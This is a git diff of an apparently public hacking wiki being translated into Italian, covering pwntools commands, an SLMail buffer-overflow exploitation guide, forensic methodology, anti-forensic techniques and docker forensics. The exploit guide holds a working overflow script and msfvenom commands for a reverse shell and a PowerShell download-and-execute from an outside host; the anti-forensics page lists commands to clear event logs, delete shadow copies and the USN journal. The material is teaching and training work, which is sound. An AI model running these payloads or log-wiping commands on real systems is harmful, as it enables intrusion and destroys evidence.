by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Per eseguibile, per nome o per contesto pid (16,32,64,linux,windows...) +- gdbscript da eseguire - sysrootpath # Pwn disablenx -Disable nx of a binary - +Disabilita nx di un binario ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Disas codici opcodes esadecimali ``` pwn disasm ffe4 ``` +**Può selezionare:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- contesto (16,32,64,linux,windows...) +- indirizzo base +- colore(predefinito)/nessun colore # Pwn elfdiff -Print differences between 2 fiels - +Stampa le differenze tra 2 file ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +Ottieni la rappresentazione esadecimale ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +Ottieni hexdump ``` pwn phd ``` +**Può selezionare:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Numero di byte da mostrare +- Numero di byte per evidenziare il byte per riga +- Salta byte all'inizio # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Ottieni shellcode ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Può selezionare:** -**Can select:** +- shellcode e argomenti per lo shellcode +- File di output +- formato di output +- debug (collega dbg allo shellcode) +- prima (trap di debug prima del codice) +- dopo +- evita di usare opcodes (predefinito: non nullo e nuova riga) +- Esegui lo shellcode +- Colore/senza colore +- elenca le syscalls +- elenca i possibili shellcodes +- Genera ELF come libreria condivisa -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Modello Pwn +Ottieni un modello python ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Può selezionare:** host, porta, utente, password, percorso e silenzioso # Pwn unhex -From hex to string - +Da esadecimale a stringa ``` pwn unhex 686f6c61 ``` +# Aggiornamento di Pwn -# Pwn update - -To update pwntools - +Per aggiornare pwntools ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..85a50cd4c 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Guida di base - livello OSCP) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **Inizia a installare il servizio SLMail** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## Riavvia il servizio SLMail +Ogni volta che hai bisogno di **riavviare il servizio SLMail** puoi farlo utilizzando la console di Windows: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## Modello di exploit Python molto basilare ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Cambia il font di Immunity Debugger** -## **Change Immunity Debugger Font** +Vai su `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **Collega il processo a Immunity Debugger:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**E premi il pulsante START** -## **Send the exploit and check if EIP is affected:** +## **Invia l'exploit e controlla se EIP è influenzato:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Ogni volta che interrompi il servizio, dovresti riavviarlo come indicato all'inizio di questa pagina. -## Create a pattern to modify the EIP +## Crea un pattern per modificare l'EIP -The pattern should be as big as the buffer you used to broke the service previously. +Il pattern dovrebbe essere grande quanto il buffer che hai usato per interrompere il servizio in precedenza. ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Cambia il buffer dell'exploit e imposta il pattern e lancia l'exploit. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Dovrebbe apparire un nuovo crash, ma con un indirizzo EIP diverso: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +Controlla se l'indirizzo era nel tuo pattern: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Sembra che **possiamo modificare l'EIP nell'offset 2606** del buffer. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Controllalo modificando il buffer dell'exploit: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Con questo buffer l'EIP che si è bloccato dovrebbe puntare a 42424242 ("BBBB") ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +Sembra che funzioni. -## Check for Shellcode space inside the stack +## Controlla lo spazio per Shellcode all'interno dello stack -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B dovrebbero essere sufficienti per qualsiasi shellcode potente. +Cambiamo il buffer: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +lancia il nuovo exploit e controlla l'EBP e la lunghezza dello shellcode utile ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Puoi vedere che quando la vulnerabilità viene raggiunta, l'EBP punta allo shellcode e che abbiamo molto spazio per posizionare uno shellcode qui. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +In questo caso abbiamo **da 0x0209A128 a 0x0209A2D6 = 430B.** Abbastanza. -## Check for bad chars - -Change again the buffer: +## Controlla i caratteri problematici +Cambia di nuovo il buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +I badchars iniziano da 0x01 perché 0x00 è quasi sempre dannoso. -The badchars starts in 0x01 because 0x00 is almost always bad. +Esegui ripetutamente l'exploit con questo nuovo buffer eliminando i caratteri che si rivelano inutili:. -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Ad esempio: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +In questo caso puoi vedere che **non dovresti usare il carattere 0x0A** (niente viene salvato in memoria poiché il carattere è 0x09). ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +In questo caso puoi vedere che **il carattere 0x0D è evitato**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Trova un JMP ESP come indirizzo di ritorno +Utilizzando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Elencherai **le mappe di memoria**. Cerca qualche DLL che abbia: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Ora, all'interno di questa memoria dovresti trovare alcuni byte JMP ESP, per farlo esegui: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Quindi, se viene trovata un'indirizzo, scegline uno che non contenga alcun badchar:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**In questo caso, ad esempio: \_0x5f4a358f**\_ +## Crea shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Se l'exploit non funziona ma dovrebbe (puoi vedere con ImDebg che il shellcode è stato raggiunto), prova a creare altri shellcode (msfvenom con crea shellcode diversi per gli stessi parametri). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Aggiungi alcuni NOPS all'inizio** del shellcode e usalo insieme all'indirizzo di ritorno per JMP ESP, e completa l'exploit: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Ci sono shellcode che **si sovrascrivono**, quindi è importante aggiungere sempre alcuni NOP prima dello shellcode -## Improving the shellcode - -Add this parameters: +## Migliorare lo shellcode +Aggiungi questi parametri: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..ebd4d766f 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Metodologia Forense di Base {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Creazione e Montaggio di un'Immagine {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Analisi del Malware -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Questo **non è necessariamente il primo passo da eseguire una volta ottenuta l'immagine**. Ma puoi utilizzare queste tecniche di analisi del malware in modo indipendente se hai un file, un'immagine del file system, un'immagine della memoria, pcap... quindi è bene **tenere a mente queste azioni**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Ispezione di un'Immagine -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Se ti viene fornita un'**immagine forense** di un dispositivo, puoi iniziare **ad analizzare le partizioni, il file-system** utilizzato e **recuperare** potenzialmente **file interessanti** (anche quelli eliminati). Scopri come in: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +A seconda dei sistemi operativi utilizzati e persino della piattaforma, dovrebbero essere cercati diversi artefatti interessanti: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Ispezione Approfondita di Tipi di File e Software Specifici -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Se hai un **file** molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato, potrebbero essere utili diversi **trucchi**.\ +Leggi la pagina seguente per scoprire alcuni trucchi interessanti: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Voglio fare una menzione speciale alla pagina: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Ispezione del Dump di Memoria {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Ispezione Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Tecniche Anti-Forensi** -Keep in mind the possible use of anti-forensic techniques: +Tieni a mente il possibile uso di tecniche anti-forensi: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Ricerca di Minacce {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..bec048dab 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# Timestamp -{% embed url="https://websec.nl/" %} +Un attaccante potrebbe essere interessato a **cambiare i timestamp dei file** per evitare di essere rilevato.\ +È possibile trovare i timestamp all'interno del MFT negli attributi `$STANDARD_INFORMATION` ** e ** `$FILE_NAME`. -# Timestamps +Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB). -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Windows explorer** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - Strumento anti-forense -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma** **non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività** **sospette**. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +Il **USN Journal** (Update Sequence Number Journal) è una funzionalità del NTFS (sistema di file Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche. ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +L'immagine precedente è l'**output** mostrato dallo **strumento** dove si può osservare che alcune **modifiche sono state effettuate** al file. ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Tutte le modifiche ai metadati di un file system sono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un file system NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche. ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Ancora una volta, nell'output dello strumento è possibile vedere che **alcune modifiche sono state effettuate**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Utilizzando lo stesso strumento è possibile identificare **a quale ora i timestamp sono stati modificati**: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Ora di creazione del file +- ATIME: Ora di modifica del file +- MTIME: Modifica del registro MFT del file +- RTIME: Ora di accesso del file -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## Confronto tra `$STANDARD_INFORMATION` e `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Un altro modo per identificare file modificati sospetti sarebbe confrontare il tempo su entrambi gli attributi cercando **discrepanze**. -## Nanoseconds +## Nanosecondi -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +I timestamp **NTFS** hanno una **precisione** di **100 nanosecondi**. Quindi, trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**. -## SetMace - Anti-forensic Tool +## SetMace - Strumento anti-forense -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un OS live per modificare queste informazioni. -# Data Hiding +# Nascondere dati -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio di slack**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e del `$usnjrnl` può mostrare che alcuni dati sono stati aggiunti: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto offuscato o persino crittografato. # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\ +Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **esaminare ogni script python in esecuzione**. -# Live Linux Distributions +# Distribuzioni Linux Live -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Queste distro sono **eseguite all'interno della memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione. -# Secure Deletion +# Cancellazione sicura [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Configurazione di Windows -It's possible to disable several windows logging methods to make the forensics investigation much harder. +È possibile disabilitare diversi metodi di registrazione di Windows per rendere l'indagine forense molto più difficile. -## Disable Timestamps - UserAssist +## Disabilitare i timestamp - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Questa è una chiave di registro che mantiene date e ore in cui ogni eseguibile è stato eseguito dall'utente. -Disabling UserAssist requires two steps: +Disabilitare UserAssist richiede due passaggi: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Impostare due chiavi di registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, entrambe a zero per segnalare che vogliamo disabilitare UserAssist. +2. Cancellare i sottotree di registro che sembrano `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Disable Timestamps - Prefetch +## Disabilitare i timestamp - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per pratiche forensi. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Eseguire `regedit` +- Selezionare il percorso del file `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Fare clic con il tasto destro su `EnablePrefetcher` e `EnableSuperfetch` +- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0 +- Riavviare -## Disable Timestamps - Last Access Time +## Disabilitare i timestamp - Ultimo tempo di accesso -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo di timestamp su ciascuna cartella elencata**, chiamato ultimo tempo di accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Aprire l'Editor del Registro (Regedit.exe). +2. Navigare a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Cercare `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungere questo DWORD e impostare il suo valore su 1, il che disabiliterà il processo. +4. Chiudere l'Editor del Registro e riavviare il server. -## Delete USB History +## Eliminare la cronologia USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Tutti gli **USB Device Entries** sono memorizzati nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** eliminerai la cronologia USB.\ +Puoi anche utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) per essere sicuro di averle eliminate (e per eliminarle). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Questo dovrebbe essere eliminato. -## Disable Shadow Copies +## Disabilitare le copie shadow -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Elenca** le copie shadow con `vssadmin list shadowstorage`\ +**Elimina** eseguendo `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Apri il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows. +2. Dall'elenco, trova "Volume Shadow Copy", selezionalo e poi accedi alle Proprietà facendo clic con il tasto destro. +3. Scegli Disabilitato dal menu a discesa "Tipo di avvio" e poi conferma la modifica facendo clic su Applica e OK. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +È anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -## Overwrite deleted files +## Sovrascrivere file eliminati -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Puoi utilizzare uno **strumento di Windows**: `cipher /w:C` Questo indicherà a cipher di rimuovere qualsiasi dato dallo spazio su disco inutilizzato disponibile all'interno dell'unità C. +- Puoi anche utilizzare strumenti come [**Eraser**](https://eraser.heidi.ie) -## Delete Windows event logs +## Eliminare i registri eventi di Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Espandi "Registri di Windows" --> Fai clic con il tasto destro su ciascuna categoria e seleziona "Cancella registro" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Disabilitare i registri eventi di Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- All'interno della sezione servizi disabilita il servizio "Windows Event Log" +- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` -## Disable $UsnJrnl +## Disabilitare $UsnJrnl - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..63921fe67 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## Modifica del contenitore +Ci sono sospetti che alcuni contenitori docker siano stati compromessi: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Puoi facilmente **trovare le modifiche apportate a questo container rispetto all'immagine** con: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +Nel comando precedente **C** significa **Cambiato** e **A,** **Aggiunto**.\ +Se scopri che un file interessante come `/etc/shadow` è stato modificato, puoi scaricarlo dal container per controllare attività malevole con: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +Puoi anche **confrontarlo con l'originale** eseguendo un nuovo container ed estraendo il file da esso: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Se scopri che **è stato aggiunto un file sospetto** puoi accedere al container e controllarlo: ```bash docker exec -it wordpress bash ``` +## Modifiche alle immagini -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Quando ti viene fornita un'immagine docker esportata (probabilmente in formato `.tar`), puoi utilizzare 